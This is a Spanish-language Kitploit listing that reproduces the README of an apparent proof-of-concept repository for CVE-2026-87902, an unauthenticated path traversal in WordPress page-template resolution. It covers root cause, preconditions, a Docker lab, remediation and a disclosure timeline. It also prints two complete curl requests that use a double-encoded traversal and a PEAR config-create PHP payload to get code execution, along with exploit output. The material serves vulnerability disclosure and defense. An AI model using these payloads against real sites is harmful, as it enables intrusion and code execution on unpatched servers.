Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2026-87902-poc — PoC para CVE-2026-87902 — path traversal no autenticado en la resolución de plantillas de página de WordPress (inclusión local de PHP, RCE condicional) con un laboratorio vulnerable fijado | Kitploit
Herramientas/GitHubGitHub/ressl/cve-2026-87902-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebVirtualización de SeguridadSeguridad WebPruebas de PenetraciónLabs y Práctica
GitHubressl/cve-2026-87902-poc

cve-2026-87902-poc

PoC para CVE-2026-87902 — path traversal no autenticado en la resolución de plantillas de página de WordPress (inclusión local de PHP, RCE condicional) con un laboratorio vulnerable fijado

Ver Repositorio
316hace 1 díaAún no revisado
Sitio web

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-87902 — WordPress Core: path traversal no autenticado en la resolución de plantillas de página

Inclusión local de archivos PHP no autenticada en WordPress Core mediante un valor pagename con doble codificación — y, bajo condiciones específicas de despliegue, ejecución de código PHP con los privilegios de la cuenta del servidor web.

CVECVE-2026-87902
Aviso del proveedorGHSA-7hp8-65ch-5whp
AnálisisCVE-2026-87902: Critical WordPress file inclusion and conditional RCE
AfectadoWordPress Core 4.7.0 – 7.1.1 (todas las ramas, según los rangos por rama del aviso); reproducido dinámicamente en 7.0.2
Corregido7.1.2 (rama 7.1), 7.0.6 (rama 7.0) y un backport para todas las ramas hasta 4.7.37 (según el aviso)
DebilidadesCWE-98 (control inadecuado del nombre de archivo en include), CWE-22 / CWE-23 (path traversal)
CVSS v3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 Alta
CVSS v4.0 (complementario)CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Crítica
Autenticaciónninguna — sin cuenta, cookie, nonce, sesión, plugin ni petición saliente
Interacción del usuarioninguna
AutorRobert Ressl — ressl.ch
PoC verificado2026-09-22 contra el laboratorio de este repositorio — véase Resultados verificados

Resumen

WordPress resuelve una plantilla de Página mediante una cadena que nunca comprueba que el archivo seleccionado permanezca dentro de la raíz de un tema:

  1. pagename y page_id son variables de consulta públicas que WP::parse_request() acepta desde un cuerpo POST anónimo.
  2. Un traversal con doble codificación en pagename sobrevive a la sanitización temprana de la consulta como octetos %xx escapados (wp_basename() no puede ver %2f como separador, y sanitize_title_with_dashes() conserva deliberadamente los octetos válidos).
  3. Un page_id válido selecciona entonces una Página publicada real, mientras que el pagename malicioso permanece en el objeto de consulta.
  4. get_page_template() llama después a urldecode() sobre ese valor y añade un candidato como page-templates/../../../../../../../usr/local/lib/php/pearcmd.php a la jerarquía de plantillas.
  5. locate_template() y el cargador final de plantillas solo comprueban la existencia, la legibilidad y el sufijo .php/.html — nunca que la ruta canónica siga estando dentro de una raíz de tema permitida — y luego lo include.

Eso constituye una primitiva de inclusión local de archivos remota no autenticada en WordPress Core. En el entorno de ejecución oficial probado (wordpress:php8.3-apache, que incluye PEAR y no carga ningún php.ini, por lo que register_argc_argv está en On), la inclusión se encadenó a través de pearcmd.php de PEAR: una primera petición anónima hace que config-create escriba PHP controlado por el atacante en /tmp, y una segunda petición anónima incluye ese archivo y lo ejecuta como www-data.

La falta de contención de rutas en Core es la vulnerabilidad. PEAR es solo una ruta dependiente del entorno desde la inclusión hasta la ejecución de código — no es una dependencia de WordPress y no está presente ni es utilizable en todos los despliegues.

Causa raíz

Ubicaciones del código verificadas (WordPress 7.0.2):

#UbicaciónRol
1wp-includes/class-wp.php:18,322-330pagename y page_id son variables de consulta públicas y se leen de $_POST
2wp-includes/class-wp-query.php:2205sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f no es un separador para wp_basename()
3wp-includes/formatting.php:2283-2289sanitize_title_with_dashes() conserva los octetos %xx válidos en lugar de eliminarlos
4wp-includes/template.php:492$pagename_decoded = urldecode( $pagename ); — el traversal se activa después de la sanitización
5wp-includes/template.php:722-736locate_template() concatena el candidato bajo cada raíz de tema y solo llama a file_exists()
6wp-includes/template-loader.php:116-132realpath() normaliza la ruta, y luego include se ejecuta sin ninguna comprobación canónica de contención en la raíz
7wp-includes/canonical.php:42-47redirect_canonical() retorna anticipadamente para peticiones que no son GET/HEAD, por lo que un POST no se canonicaliza

Precondiciones

La primitiva de inclusión independiente necesita:

#PrecondiciónMotivo
1Una Página publicada y accesible anónimamente, seleccionada mediante un page_id numéricola página debe ser devuelta por la consulta después de que falle la búsqueda del pathname
2Ninguna plantilla de página personalizada resoluble anterioruna plantilla válida asignada se ordena antes que el candidato malicioso
3Un directorio de nivel superior en el tema activo (hijo o padre) cuyo nombre empiece por page-, p. ej. page-templates/WordPress antepone el prefijo fijo page-, por lo que un traversal .. no puede empezar en la posición 0; el directorio solo tiene que existir y ser atravesable — no tiene que ser escribible
4Un archivo local .php seleccionado que exista y sea legible por el usuario de PHPel cargador comprueba is_file()/is_readable() y requiere un sufijo .php
5Ningún confinamiento del sistema de archivos que bloquee ese archivoun open_basedir o una política MAC pueden impedir la inclusión

La etapa PEAR demostrada necesita además un pearcmd.php legible (junto con sus dependencias), register_argc_argv=On para el SAPI web, y un directorio de salida escribible. Los archivos php.ini de producción establecen register_argc_argv=Off; la imagen probada no carga ningún php.ini, por lo que se aplicó el valor predeterminado compilado (On). Esta es una limitación importante sobre la prevalencia de la cadena de ejecución de código demostrada.

Los temas incluidos Twenty Twenty-Three/Four/Five no incluyen ningún directorio page-* de nivel superior, por lo que el laboratorio estándar necesita el fixture descrito a continuación. Los temas personalizados pueden usar legítimamente una estructura page-templates/ (documentación de WordPress).

El aviso registra dónde se producen estas condiciones en software distribuido: la condición del tema se cumple en los temas heredados Twenty Twelve y Twenty Fourteen y en temas de terceros como Neve, Hestia y Sydney, mientras que la transición a PEAR se aplica a la imagen oficial de PHP para Docker y a las configuraciones predeterminadas de cPanel que ejecutan PHP anterior a 8.5. (Twenty Twelve y Twenty Fourteen incluyen ambos un directorio page-templates/ de nivel superior; las demás afirmaciones son del aviso). Este repositorio no mide con qué frecuencia se aplica la cadena completa.

Inicio rápido

root@kitploit:~
./lab/up.sh            # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py   # two anonymous POSTs, prints the proof marker

cve-2026-87902.py necesita Python 3.6+ (solo biblioteca estándar) y accede al laboratorio en http://127.0.0.1:8091 de forma predeterminada. Salida esperada:

root@kitploit:~
[*] target        : http://127.0.0.1:8091
[*] page id       : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7       : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal     : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file  : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker        : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof         : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges

El código de salida es 0 en caso de éxito y 1 en caso contrario, por lo que el PoC también funciona como comprobación de regresión/detección.

Desmontaje: docker compose down -v.

Resultados verificados

Ejecutado el 2026-09-22 contra este laboratorio (Docker 29.4, OrbStack, Apple silicon):

ComprobaciónResultado
Etapa 1HTTP 200; /tmp/wp-pear-rce-flag.php escrito como www-data:www-data, modo 0644, 1219 bytes
SHA-256 del payload460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — idéntico al hash registrado en el informe original
Etapa 2HTTP 200; el PHP inyectado imprimió el artefacto de prueba con modo 0444
Ocurrencias del marcador12 (PEAR serializa el valor raíz controlado en 12 entradas de configuración)
Credenciales usadasninguna — sin cabecera Cookie ni Authorization en ninguna petición
Control negativopage-templates/ eliminado → la etapa 2 devuelve la página normal, sin marcador, código de salida 1

El artefacto de prueba es /flag, propiedad de root y legible por todos (root:root, modo 0444) dentro del contenedor. Demuestra la ejecución de PHP y el acceso a archivos como la cuenta del servidor web; no es un objetivo de escalada de privilegios.

Cómo funciona la cadena

Dos POST anónimos. Los valores de enrutamiento de WordPress viajan en el cuerpo del formulario, y los argumentos de PEAR en la cadena de consulta sin procesar (PHP divide la cadena de consulta sin procesar por el carácter literal + en argv y no decodifica individualmente los argumentos):

root@kitploit:~
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>"   # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php"                                              # output file

Etapa 1 — incluir pearcmd.php y escribir el payload:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'

Etapa 2 — incluir el archivo generado y ejecutar su PHP:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'

Detalles que importan:

  • Dos capas de codificación. El cuerpo es decodificado una vez por PHP a templates%2f%2e%2e%2f...; el sanitizador conserva esos octetos, y solo el urldecode() tardío de get_page_template() los convierte en / y ...
  • Prefijo page-. WordPress antepone page- al valor, por lo que el directorio fixture page-templates/ corresponde al segmento inicial templates.
  • Sufijo .php forzado. El candidato es page-<decoded>.php, por lo que el objetivo se indica sin sufijo (.../pearcmd, /tmp/wp-pear-rce-flag).
  • POST, no GET. redirect_canonical() omite las peticiones que no son GET/HEAD, y el cuerpo del formulario permite que la cadena de consulta solo transporte los argumentos de PEAR.
  • Payload sin comillas. wp_magic_quotes() también se ejecuta sobre $_SERVER, por lo que el argv construido por el servidor se escapa y PEAR normaliza después las barras invertidas. El payload verificado usa chr() y no contiene caracteres de comilla. (Se reduce a <?=file_get_contents('/flag')?>.)
  • Ruta raíz de config-create. PEAR rechaza una raíz relativa (Root directory must be an absolute path beginning with "/"), por lo que el payload se inyecta como la propia ruta raíz.
  • Profundidad. cve-2026-87902.py recorre segmentos .. hasta que el traversal alcanza el objetivo (7 para la disposición de este laboratorio, --depth para fijarlo).

Laboratorio

lab/up.sh realiza tres pasos y es seguro volver a ejecutarlo:

  1. docker compose up -d --build --wait — fija wordpress:7.0.2-php8.3-apache más mysql:8.4, puerto 127.0.0.1:8091 (solo loopback).
  2. Ejecuta el instalador de WordPress (admin / adminadmin) si el sitio aún no está instalado.
  3. Crea el fixture dentro del tema activo y lo imprime: wp-content/themes/twentytwentyfive/page-templates/, root:root, modo 0755, vacío.

La imagen del laboratorio añade register_argc_argv=On explícitamente (lab/Dockerfile) en lugar de depender del valor predeterminado compilado, e incorpora /flag (root:root, modo 0444, contenido CVE-2026-87902-POC-OK).

ComponenteValor
WordPress7.0.2 (wordpress:7.0.2-php8.3-apache)
PHP / SAPI8.3.33, módulo Apache
PEAR1.10.18 en /usr/local/lib/php/pearcmd.php
MySQL8.4
register_argc_argvOn
TemaTwenty Twenty-Five + fixture page-templates/ vacío propiedad de root
Página objetivoSample Page publicada, ID 2, plantilla predeterminada
Artefacto de prueba/flag, root:root, modo 0444

La etiqueta móvil wordpress:php8.3-apache no es utilizable para este laboratorio: el fallo está corregido en 7.1.2 y una etiqueta no fijada convierte silenciosamente el laboratorio en parcheado.

Controles negativos y limitaciones

Controles verificados o documentados:

  • Sin directorio page-* de nivel superior en el tema → el prefijo fijo no puede eliminarse y el traversal nunca comienza (verificado: fixture eliminado → sin marcador).
  • register_argc_argv=Off → sin escritor PEAR, pero la primitiva de inclusión permanece.
  • PEAR o sus dependencias ausentes → sin escritor.
  • Número incorrecto de segmentos .. → objetivo no alcanzado (verificado: las profundidades 1-6 y 8-12 no producen marcador en el laboratorio).
  • Una plantilla de página personalizada asignada a la Página → se ordena antes que el candidato malicioso y gana.
  • Un archivo sin sufijo (p. ej. /flag) no puede leerse directamente — al candidato se le añade .php.
  • Un WAF/CDN/proxy inverso que rechace bytes <, >, = sin procesar en el objetivo de la petición rompe el canal de argumentos de PEAR (específico del despliegue).
  • El confinamiento open_basedir/MAC o un directorio de salida no escribible rompen la cadena; noexec en /tmp no lo hace (PHP lee e interpreta el archivo).

Este PoC reproduce una configuración verificada. No afirma que toda instalación de WordPress sea explotable, ni mide la prevalencia.

Remediación

  • Actualizar a WordPress 7.1.2 o posterior (o al backport de tu rama).
  • Defensa en profundidad para el manejo de plantillas: tras la decodificación, rechazar candidatos con traversal y absolutos (p. ej. validate_file()), y antes de incluir una plantilla localizada, comparar realpath() del candidato y la raíz del tema con un separador de directorio final.
  • Mitigaciones para operadores: establecer register_argc_argv=Off para los SAPIs web, eliminar los puntos de entrada de PEAR no usados y legibles por web de las imágenes de producción, auditar los temas hijo y padre en busca de directorios page-* de nivel superior, y restringir el acceso de escritura para la cuenta de PHP.

Archivos

RutaPropósito
cve-2026-87902.pyexploit: detección de página, ambas etapas, manejo de profundidad, verificación del marcador
lab/up.shlleva el laboratorio al estado exacto que espera el exploit (idempotente)
docker-compose.ymlWordPress 7.0.2 + MySQL 8.4, puerto solo loopback
lab/Dockerfilefija la versión vulnerable, establece register_argc_argv=On, incorpora /flag
lab/flagcontenido del artefacto de prueba

Cronología de divulgación

FechaEvento
2026-07-20Reportado de forma privada a través del programa HackerOne de WordPress
2026-07-21Recepción confirmada
2026-09-15Se informó que se planeaba una corrección para una versión próxima; se solicitaron detalles de atribución
2026-09-22WordPress 7.1.2 publicado con la corrección; aviso GHSA-7hp8-65ch-5whp publicado

El informe fue aceptado como un hallazgo de seguridad válido después de que se revisara su clasificación inicial; la correspondencia no fecha esa aceptación.

Descargo de responsabilidad

Este repositorio se publica con fines defensivos y de investigación. Úsalo solo contra sistemas que poseas o para los que tengas autorización explícita de prueba. El laboratorio está vinculado a 127.0.0.1 y no debe exponerse a redes no confiables.

Licencia

MIT — véase LICENSE. Los metadatos de citación están en CITATION.cff:

Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch

El informe de vulnerabilidad y este PoC se prepararon con asistencia de IA para la organización y la revisión de consistencia; el investigador es responsable de las afirmaciones técnicas.

Descargar herramienta